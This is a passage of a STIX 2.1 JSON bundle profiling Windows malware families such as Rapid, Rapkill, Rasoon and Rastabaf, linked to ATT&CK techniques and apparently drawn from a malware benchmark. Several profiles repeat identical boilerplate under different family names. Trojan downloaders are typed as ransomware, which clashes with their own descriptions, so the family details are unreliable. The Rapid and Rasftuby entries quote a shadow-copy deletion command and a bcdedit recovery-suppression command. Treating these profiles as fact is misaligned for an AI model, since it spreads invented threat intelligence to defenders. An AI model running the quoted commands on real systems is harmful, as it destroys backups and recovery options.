      "description": "Rapid (classified across cybersecurity telemetry under designations including Ransom:Win32/Rapid, Trojan-Ransom.Win32.Rapid, and Win32/Rapid) is a fast-acting Windows crypto-ransomware family first observed in early 2018. Designed for automated extortion across consumer and corporate endpoints, Rapid is distributed via malicious spam emails delivering weaponized executables, compromised remote desktop endpoints, and malicious software repacks. Upon execution, Rapid halts Windows error reporting services and database applications, deletes volume shadow copies with 'vssadmin delete shadows /all /quiet', and suppresses system recovery prompts via 'bcdedit /set {default} bootstatuspolicy ignoreallfailures'. Rapid creates a persistent autostart entry under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and continues monitoring the filesystem for newly connected drives and created files. Rapid encrypts files using a hybrid cryptographic scheme combining AES-256 with an embedded RSA master public key, appending .rapid or unique victim ID tags to filenames, and generates ransom notes ('How To Restore Files.txt') directing victims to ProtonMail and Tor portals. (Observed samples in benchmark: 18)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Rapid",
        "Trojan-Ransom.Win32.Rapid",
        "Win32/Rapid",
        "Ransom.Rapid",
        "Rapid Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rapid",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rapid"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--53d0d910-eb74-5328-8f47-49dd537aa610",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rapidpass",
      "description": "<h3>Executive Summary</h3>\nRapidpass is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRapidpass is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Rapidpass operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Rapidpass ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Rapidpass receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Rapidpass infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Rapidpass executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Rapidpass frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Rapidpass",
        "Downloader.Rapidpass",
        "Win32/Rapidpass"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rapidpass",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rapidpass"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3147c9e-3f02-5cae-b7c8-5675ef212852",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--53d0d910-eb74-5328-8f47-49dd537aa610",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rapidpass exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7fff9cb-7b10-5564-bf6a-be883a6f1e1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--53d0d910-eb74-5328-8f47-49dd537aa610",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rapidpass exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30ce3b4a-84f4-52de-9d6a-37ea0621411e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--53d0d910-eb74-5328-8f47-49dd537aa610",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rapidpass exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--50d7f616-0fe0-5e02-860c-526350b75698",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rapkill",
      "description": "Trojan:Win32/Rapkill is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rapkill</b><br>To an end-user, a Rapkill infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rapkill is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rapkill is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rapkill frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rapkill reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rapkill",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rapkill"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b0c3081-6786-5b40-82bc-321bf23e0f21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50d7f616-0fe0-5e02-860c-526350b75698",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rapkill exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f1c20f1-d2c3-5257-a13f-8851cca6560a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50d7f616-0fe0-5e02-860c-526350b75698",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rapkill exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--180b49da-8f34-5cd0-aa4c-b55f963b2daf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50d7f616-0fe0-5e02-860c-526350b75698",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rapkill exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b43b663-e9a2-5789-baee-503aa3c87fed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50d7f616-0fe0-5e02-860c-526350b75698",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rapkill exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55e89d7e-3a35-5970-b642-6348b9bea9c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50d7f616-0fe0-5e02-860c-526350b75698",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rapkill exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6e141423-3857-51b7-9036-4c2db0b37770",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rarmal",
      "description": "Trojan:Win32/Rarmal is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rarmal</b><br>To an end-user, a Rarmal infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rarmal is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rarmal is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rarmal frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rarmal reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rarmal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rarmal"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c7b8e83-21d9-544d-abe1-f373c3d45cfd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e141423-3857-51b7-9036-4c2db0b37770",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rarmal exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--456700d7-8f15-5605-9fb0-3b67f4b015db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e141423-3857-51b7-9036-4c2db0b37770",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rarmal exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c312482f-6299-5883-95b5-2c98952d8bab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e141423-3857-51b7-9036-4c2db0b37770",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rarmal exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ffe6706-7134-5a0c-9a2b-0673b1ec03fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e141423-3857-51b7-9036-4c2db0b37770",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rarmal exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--900ce176-4224-545e-aecb-61bc14b78a4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e141423-3857-51b7-9036-4c2db0b37770",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rarmal exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6286d93d-dca6-517e-8ce6-619ac7c990b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rasch",
      "description": "<h3>Executive Summary</h3>\nRasch is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRasch is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Rasch operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Rasch ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Rasch receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Rasch infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Rasch executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Rasch frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Rasch",
        "Downloader.Rasch",
        "Win32/Rasch"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rasch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rasch"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4da475e-b5ac-5eb6-883a-9d88e71f0e02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6286d93d-dca6-517e-8ce6-619ac7c990b3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rasch exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7dd6577-17f0-51ae-94e3-0b445b0ac80c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6286d93d-dca6-517e-8ce6-619ac7c990b3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rasch exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd7b6765-af28-5939-a691-350cd50f37d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6286d93d-dca6-517e-8ce6-619ac7c990b3",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rasch exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c5d718f4-1b08-5f51-9af1-a3e84a30140f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rasftuby",
      "description": "Rasftuby (identified across antivirus telemetries and threat intelligence feeds under signatures including Ransom:Win32/Rasftuby, Trojan-Ransom.Win32.Rasftuby, and Trojan.Rasftuby) is a destructive crypto-ransomware and extortion threat active since 2016. Delivered predominantly through malicious spam campaigns with macro-laced documents and drive-by download compromise chains, Rasftuby executes immediate evasion and reconnaissance routines upon system infiltration. Rasftuby terminates database, backup, and endpoint security processes to release open file handles before traversing local storage drives, removable media, and mounted network file shares. Using AES-256 symmetric encryption combined with RSA public-key protection, Rasftuby encrypts documents, spreadsheets, databases, and archives, appending an extortion extension to affected files. It deletes Volume Shadow Copies (vssadmin delete shadows /all /quiet), alters desktop background settings to display extortion notices, and demands cryptocurrency ransoms in exchange for a proprietary decryptor. (Observed samples in benchmark: 31)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Rasftuby",
        "Trojan-Ransom.Win32.Rasftuby",
        "Trojan.Rasftuby",
        "Win32/Rasftuby",
        "Ransom:Win32/Rasftuby.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rasftuby",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rasftuby"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bff9eb8e-8f82-5c47-a414-6dd5adfc3336",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rasoon",
      "description": "<h3>Executive Summary</h3>\nRasoon is a specialized Information Stealer (Info-Stealer) and Trojan designed to covertly infiltrate Windows systems and extract sensitive authentication data. It primarily focuses on harvesting credentials saved within web browsers, email clients, and FTP software, transmitting this stolen data back to an attacker-controlled command-and-control (C2) server for monetization or further exploitation.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRasoon is typically distributed via malicious email attachments (often masquerading as invoices or shipping documents) or bundled within cracked software available on untrustworthy software portals.\n\nUpon execution, Rasoon initiates a rapid, localized search for high-value credentials:\n<ul>\n<li><strong>Browser and Email Harvesting:</strong> The malware actively scans the registry and local AppData folders to extract saved passwords, autofill data, and session cookies from major web browsers (Chrome, Firefox, Internet Explorer). It also targets email clients (Outlook, Thunderbird).</li>\n<li><strong>FTP/Webmaster Targeting:</strong> Rasoon frequently hunts for configuration files and saved passwords associated with popular FTP clients (like FileZilla or WinSCP). Stolen FTP credentials allow the attacker to deface websites or host further malware payloads.</li>\n<li><strong>Data Exfiltration:</strong> Once the data is harvested, Rasoon encrypts the stolen information and transmits it to an attacker-controlled server via HTTP POST requests, completing its execution quickly to evade prolonged detection.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Rasoon infection poses a severe risk to an organization's internal and external infrastructure. The theft of session cookies can bypass Multi-Factor Authentication (MFA), allowing attackers immediate access to corporate web applications (like O365 or Google Workspace).\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>MFA Token Revocation:</strong> Assume session cookies were stolen. Force an immediate sign-out of all active sessions for critical web applications to invalidate the stolen tokens.</li>\n<li><strong>Local Password Reset:</strong> All user credentials saved in the affected endpoint's web browsers, email clients, and FTP software must be considered compromised and reset from a clean device.</li>\n<li><strong>Endpoint Eradication:</strong> The malware itself is typically not heavily obfuscated and can often be removed by a reputable EDR or enterprise antivirus solution. Ensure a full system scan is completed to verify eradication.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Rasoon",
        "PWS.Rasoon",
        "TrojanSpy.Rasoon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rasoon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rasoon"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28fba78a-02f8-51f5-bac3-c19257cea0f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bff9eb8e-8f82-5c47-a414-6dd5adfc3336",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rasoon exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f81db245-81a4-5005-8364-2a0a122a28a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bff9eb8e-8f82-5c47-a414-6dd5adfc3336",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rasoon exhibits technique T1539 (Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40a690ac-78f9-57a5-a063-c0e517b51b23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bff9eb8e-8f82-5c47-a414-6dd5adfc3336",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rasoon exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca937711-290c-5c87-923b-07e72760734e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bff9eb8e-8f82-5c47-a414-6dd5adfc3336",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rasoon exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a073df7b-1a13-51bd-9653-f699a161f7f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rastabaf",
      "description": "Trojan:Win32/Rastabaf is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rastabaf</b><br>To an end-user, a Rastabaf infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rastabaf is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rastabaf is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rastabaf frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rastabaf reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rastabaf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rastabaf"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21ea63b3-da13-5bd0-9f3e-deb50c33ff49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a073df7b-1a13-51bd-9653-f699a161f7f1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rastabaf exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13670e07-7be7-5ed4-a4ae-cda9915e6dbe",
      "created": "2026-01-01T00:00:00.000Z",
